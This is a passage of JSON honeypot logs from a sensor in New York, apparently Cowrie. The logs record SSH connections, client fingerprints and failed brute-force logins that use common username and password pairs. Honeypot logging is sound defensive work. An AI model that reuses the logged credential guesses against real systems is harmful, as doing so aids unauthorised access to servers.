com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:43.422163Z","src_ip":"103.27.238.116","session":"a1f2082eddb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":49962,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6ef72c3eb33","protocol":"ssh","message":"New connection: 103.78.1.33:49962 (10.17.0.5:22) [session: f6ef72c3eb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:43.510682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:43.515734Z","src_ip":"103.78.1.33","session":"f6ef72c3eb33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:43.735033Z","src_ip":"103.78.1.33","session":"f6ef72c3eb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wenef45313","message":"login attempt [root/wenef45313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:44.236736Z","src_ip":"103.27.238.116","session":"a1f2082eddb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"182838","message":"login attempt [root/182838] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:44.645451Z","src_ip":"103.78.1.33","session":"f6ef72c3eb33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:45.510606Z","src_ip":"103.27.238.116","session":"a1f2082eddb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:45.869468Z","src_ip":"103.78.1.33","session":"f6ef72c3eb33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":344,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:00.546120Z","src_ip":"94.26.88.19","session":"41eda861553e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.29393219947815,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:00.558239Z","src_ip":"94.26.88.19","session":"41eda861553e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":44858,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4d6d0c7e4c","protocol":"ssh","message":"New connection: 185.113.139.51:44858 (159.203.135.109:22) [session: 6c4d6d0c7e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:05.068441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:05.072409Z","src_ip":"185.113.139.51","session":"6c4d6d0c7e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:05.177458Z","src_ip":"185.113.139.51","session":"6c4d6d0c7e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yk123456","message":"login attempt [root/Yk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:05.686510Z","src_ip":"185.113.139.51","session":"6c4d6d0c7e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:06.793825Z","src_ip":"185.113.139.51","session":"6c4d6d0c7e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":45268,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff470035506","protocol":"ssh","message":"New connection: 118.26.36.195:45268 (159.203.135.109:22) [session: 5ff470035506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:08.836760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:08.840955Z","src_ip":"118.26.36.195","session":"5ff470035506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:09.056889Z","src_ip":"118.26.36.195","session":"5ff470035506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1q2w3e4r","message":"login attempt [mysql/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:09.957552Z","src_ip":"118.26.36.195","session":"5ff470035506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:11.181247Z","src_ip":"118.26.36.195","session":"5ff470035506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":49810,"dst_ip":"159.203.135.109","dst_port":22,"session":"f493d0583a74","protocol":"ssh","message":"New connection: 45.61.148.179:49810 (159.203.135.109:22) [session: f493d0583a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:25.902328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:25.904522Z","src_ip":"45.61.148.179","session":"f493d0583a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:25.972528Z","src_ip":"45.61.148.179","session":"f493d0583a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123+","message":"login attempt [root/abc123+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:26.282683Z","src_ip":"45.61.148.179","session":"f493d0583a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:27.352583Z","src_ip":"45.61.148.179","session":"f493d0583a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":40276,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ce708aa51c","protocol":"ssh","message":"New connection: 103.86.198.253:40276 (159.203.135.109:22) [session: a7ce708aa51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:32.730596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:32.734530Z","src_ip":"103.86.198.253","session":"a7ce708aa51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:32.997474Z","src_ip":"103.86.198.253","session":"a7ce708aa51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user001","password":"123456","message":"login attempt [user001/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:34.082422Z","src_ip":"103.86.198.253","session":"a7ce708aa51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:35.345588Z","src_ip":"103.86.198.253","session":"a7ce708aa51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":36074,"dst_ip":"159.203.135.109","dst_port":22,"session":"61426edea612","protocol":"ssh","message":"New connection: 177.76.134.52:36074 (159.203.135.109:22) [session: 61426edea612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:37.282554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:37.286114Z","src_ip":"177.76.134.52","session":"61426edea612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:37.464335Z","src_ip":"177.76.134.52","session":"61426edea612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456lh","message":"login attempt [root/123456lh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:38.047249Z","src_ip":"177.76.134.52","session":"61426edea612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:39.264960Z","src_ip":"177.76.134.52","session":"61426edea612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":35698,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7bf64258256","protocol":"ssh","message":"New connection: 91.92.40.176:35698 (10.17.0.5:22) [session: e7bf64258256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:48.261839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:48.285879Z","src_ip":"91.92.40.176","session":"e7bf64258256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:48.347287Z","src_ip":"91.92.40.176","session":"e7bf64258256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testpass","message":"login attempt [test/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:48.674065Z","src_ip":"91.92.40.176","session":"e7bf64258256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:49.758760Z","src_ip":"91.92.40.176","session":"e7bf64258256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.110","src_port":58471,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6458a20a250","protocol":"ssh","message":"New connection: 45.79.207.110:58471 (10.17.0.5:22) [session: a6458a20a250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:34:52.116713Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":52476,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5f9b18bcfad","protocol":"ssh","message":"New connection: 81.177.101.45:52476 (10.17.0.5:22) [session: b5f9b18bcfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:08.950658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:08.955480Z","src_ip":"81.177.101.45","session":"b5f9b18bcfad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:09.094453Z","src_ip":"81.177.101.45","session":"b5f9b18bcfad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123!@#","message":"login attempt [root/Asd123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:35:09.695163Z","src_ip":"81.177.101.45","session":"b5f9b18bcfad","protocol":"ssh"}
